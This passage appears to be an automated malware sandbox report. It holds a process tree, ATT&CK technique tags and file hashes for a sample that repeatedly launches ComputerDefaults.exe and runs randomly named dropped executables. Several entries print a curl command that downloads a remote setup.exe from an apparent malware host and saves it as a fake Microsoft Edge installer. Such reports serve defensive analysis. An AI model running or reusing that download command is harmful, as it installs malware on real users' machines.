        "XCqJOdLkeXQxYtYktMAxjyIcSpdcvKRJ.qjf.exe"
        5⤵
        Executes dropped EXE
        
        PID:2520
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3152
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3548
    - - C:\ProgramData\JZoRlWRbRpSqSHbuQnDlosVamLCrffxR.PFY\CpYxwByoPjYGMHPdWWvukKmyGBlrNiAH.EML.exe
        
        "CpYxwByoPjYGMHPdWWvukKmyGBlrNiAH.EML.exe"
        5⤵
        Executes dropped EXE
        
        PID:2876
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://ghgffy.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    - Downloads MZ/PE file
    PID:2668
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3224
    - - C:\ProgramData\kRPpVWrNYiGHUgUePvFZwXwMJdrGPZQO.gcT\dopwRswpSoMMRzocdMysDIXhVRNCnCyY.Mnp.exe
        
        "dopwRswpSoMMRzocdMysDIXhVRNCnCyY.Mnp.exe"
        5⤵
        Executes dropped EXE
        
        PID:5108
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3764
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4100
    - - C:\ProgramData\CGksbuoQxRPblAPZUQmXEURQvKaQUXBe.Jzs\glUDjGDkReeHREKTcEwlsgaFAyCXRyJA.ITF.exe
        
        "glUDjGDkReeHREKTcEwlsgaFAyCXRyJA.ITF.exe"
        5⤵
        Executes dropped EXE
        
        PID:4808
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://ghgffy.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    - Downloads MZ/PE file
    PID:1612
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:520
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3572
    - - C:\ProgramData\WNAzdnAZXQnEVMxByLujuSjWBPhMgfYp.flb\nOzwgKLpcGRFrVgWwTgtToPvSLPpBvxk.qbr.exe
        
        "nOzwgKLpcGRFrVgWwTgtToPvSLPpBvxk.qbr.exe"
        5⤵
        Executes dropped EXE
        
        PID:784
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4560
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1608
    - - C:\ProgramData\xBVAPlUPhdFumUVFEZvurkZwBPHdXckz.sPo\oSSPFqkoRxeSsZQbzTcwAiCLMmEshlgx.IMa.exe
        
        "oSSPFqkoRxeSsZQbzTcwAiCLMmEshlgx.IMa.exe"
        5⤵
        Executes dropped EXE
        
        PID:4812
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://ghgffy.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    - Downloads MZ/PE file
    PID:4092
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3844
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5780
    - - C:\ProgramData\kTqoBjteHoSlMipVBunqDEBAAMnEoneg.rrY\uTEGfqiAGxEpgTzeejqPThPWSRZDEROF.Ufi.exe
        
        "uTEGfqiAGxEpgTzeejqPThPWSRZDEROF.Ufi.exe"
        5⤵
        Executes dropped EXE
        
        PID:4112
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4788
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3568
    - - C:\ProgramData\DMYagMNcICdTTOEsWSQeiFtTgtibPUBC.HpB\pFIxsEFfQBMTDVIeZsSBUmZAZVnRQAMM.cGw.exe
        
        "pFIxsEFfQBMTDVIeZsSBUmZAZVnRQAMM.cGw.exe"
        5⤵
        Executes dropped EXE
        
        PID:1196
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://ghgffy.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    - Downloads MZ/PE file
    PID:1496
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4784
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5028
    - - C:\ProgramData\PUDeOsUeFHzXwSHfwJMcVuIMAkiBzpDr.qUY\DymEUpFeMMJZsyWMFwbLELeVdrkqTdZb.Kym.exe
        
        "DymEUpFeMMJZsyWMFwbLELeVdrkqTdZb.Kym.exe"
        5⤵
        Executes dropped EXE
        
        PID:2564
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4640
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:1784
    - - C:\ProgramData\lKsByISFqnnVhBtpbJpXvxJeYMuEOnzK.tbH\hYZOIkoqjewCwOaWICAlqUZneXXuHnHw.MuA.exe
        
        "hYZOIkoqjewCwOaWICAlqUZneXXuHnHw.MuA.exe"
        5⤵
        
        PID:5156
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://ghgffy.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:6140
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://ghgffy.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:1080
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    PID:460
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      PID:2576
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    PID:704
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      PID:4140
    - - C:\ProgramData\tBSMmLzuXzbdkBWyupHTxzMyrvjSrGif.zLD\HfiGDMRKvCQBvrzmCFIBWlNGfXilqqfM.GMF.exe
        
        "HfiGDMRKvCQBvrzmCFIBWlNGfXilqqfM.GMF.exe"
        5⤵
        
        PID:1944
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://ghgffy.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:4988
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://ghgffy.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:5164
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://ghgffy.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:2228
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://ghgffy.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:5304
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    PID:2068
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      PID:1048
    - - C:\ProgramData\HGQORPUyMFDGGvbGlWIxnaHNhCPxjtUK.fhq\RjeLkmjOJSYtDHHazTFSaxcwdgvhkaFa.ERE.exe
        
        "RjeLkmjOJSYtDHHazTFSaxcwdgvhkaFa.ERE.exe"
        5⤵
        
        PID:4776
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    PID:4808
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      PID:4220
    - - C:\ProgramData\HGQORPUyMFDGGvbGlWIxnaHNhCPxjtUK.fhq\RjeLkmjOJSYtDHHazTFSaxcwdgvhkaFa.ERE.exe
        
        "RjeLkmjOJSYtDHHazTFSaxcwdgvhkaFa.ERE.exe"
        5⤵
        
        PID:5368
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    PID:1212
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      PID:1068
    - - C:\ProgramData\bZsIsDmCtwzSAPuIPNiJXfzbZFyxWkRe.xbc\CaKbdMOtEfdIIXZbtRHQjuGXwjfReVIm.hiH.exe
        
        "CaKbdMOtEfdIIXZbtRHQjuGXwjfReVIm.hiH.exe"
        5⤵
        
        PID:4736
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    PID:3244
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      PID:4112
    - - C:\ProgramData\HGQORPUyMFDGGvbGlWIxnaHNhCPxjtUK.fhq\RjeLkmjOJSYtDHHazTFSaxcwdgvhkaFa.ERE.exe
        
        "RjeLkmjOJSYtDHHazTFSaxcwdgvhkaFa.ERE.exe"
        5⤵
        
        PID:1600
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://ghgffy.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:3164
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://ghgffy.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:4884
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    PID:3320
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      PID:4908
    - - C:\ProgramData\bZsIsDmCtwzSAPuIPNiJXfzbZFyxWkRe.xbc\CaKbdMOtEfdIIXZbtRHQjuGXwjfReVIm.hiH.exe
        
        "CaKbdMOtEfdIIXZbtRHQjuGXwjfReVIm.hiH.exe"
        5⤵
        
        PID:3208

C:\Users\Admin\AppData\Local\fkh.tXU\GCnJGxjTTyog.YZX
C:\Users\Admin\AppData\Local\fkh.tXU\GCnJGxjTTyog.YZX
1⤵
- Executes dropped EXE
PID:5784

C:\Users\Admin\AppData\Local\fkh.tXU\CQfaeUTPYaUh.UtN
C:\Users\Admin\AppData\Local\fkh.tXU\CQfaeUTPYaUh.UtN
1⤵
- Executes dropped EXE
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:1504

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

arphaDump.dll

Path C:\ProgramData\FYohFcjRewGTDIthZMqKEfVhxiVBtsaf.XaC\arphaDump.dll
Size 3.2MB
SHA256 88f071a9446b7dd34b1a0365bff60411fefadaa01201990d1194a66bfc1d463f
MD5 18c5e48f75c9bcc7e0e5aa02278b3f9a
SHA1 855e32642180fbea92fb955ad8503a7a14766f0d
SHA512 d2e1f04e6baa4a32be0648a4faf198c0e38635e9d0c660aa259854f4abd852b8ee4e7b3514536eb1e76fdc7842a562d38d7057d1829053a7325fa8cdd5e14669
SSDEEP 98304:uZI44CI4S92bS7XLYD7sjqVfdR7pb4yMt:u69NY7sjqVf3pbBMt
TLSH
T1BCF5BF113E81C0FBD91F02789A19BAB8F7FDBA7007F500DB3E9CA65D393288256155A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arphaDump.dll.json

Path C:\ProgramData\FYohFcjRewGTDIthZMqKEfVhxiVBtsaf.XaC\arphaDump.dll.json
Size 3.2MB
SHA256 758d7af4321aed5bbef946147569e2e4b1b33defbc734a4f4130867bf725cca4
MD5 3059c162289ea8b0a9a90bbc0b916621
SHA1 a50ef047db459ffe43c3e5d98b8367e907df2c97
SHA512 ec257978d24e1d4db04996b8efe4a1e03883f309bbd7aef67e844a47da2e0ff50cc1eac83ca4b330d57b1019a717f9e5718430f97559b1173ebaba89975657ae
SSDEEP 98304:N/YcHV3Yh2t9GKhZe2qoZZioKm1fXZHhwzDj:NAofDhZgOZ9KeXZHOfj
TLSH
T191F5338551732FADD2D90D141387128A0F2E5BEE7EB2F2322BC0A45DB3C6843497EE56
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dhihtaYrgsdoVFDGJOdNSgTLWVrHHays.SRX.exe

Path C:\ProgramData\mQMeaNEqLQsAPHYvLQzgQCrLGjkpbDbL.Jbt\dhihtaYrgsdoVFDGJOdNSgTLWVrHHays.SRX.exe
Size 51KB
SHA256 ce6bb7eddc83762c708d4a41709ae00371dbdc09b2a380f28fa60b1edf917473
MD5 2e068ce2770fde8d1af4cb114b98df1f
SHA1 b6f9c2775babb025b22f915c3047aa627d07c312
SHA512 998d695eb56375e63df7db16740b89deb2cf630ccbead8bcf84a921ec6f4a4f9aef2755b703f7190f332b2008ebcc949363bcf8f392d7d07246c255b5073ed35
SSDEEP 1536:6G9yoVEpHP29I3fbcJboSUge5N+CnC/maz9Rh:8pv2mbcJboce58wvOR
TLSH
T137336C236A0A49B3DFE231780A9D7232526DD862075541F7A61057EAFD243E2EE743CF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download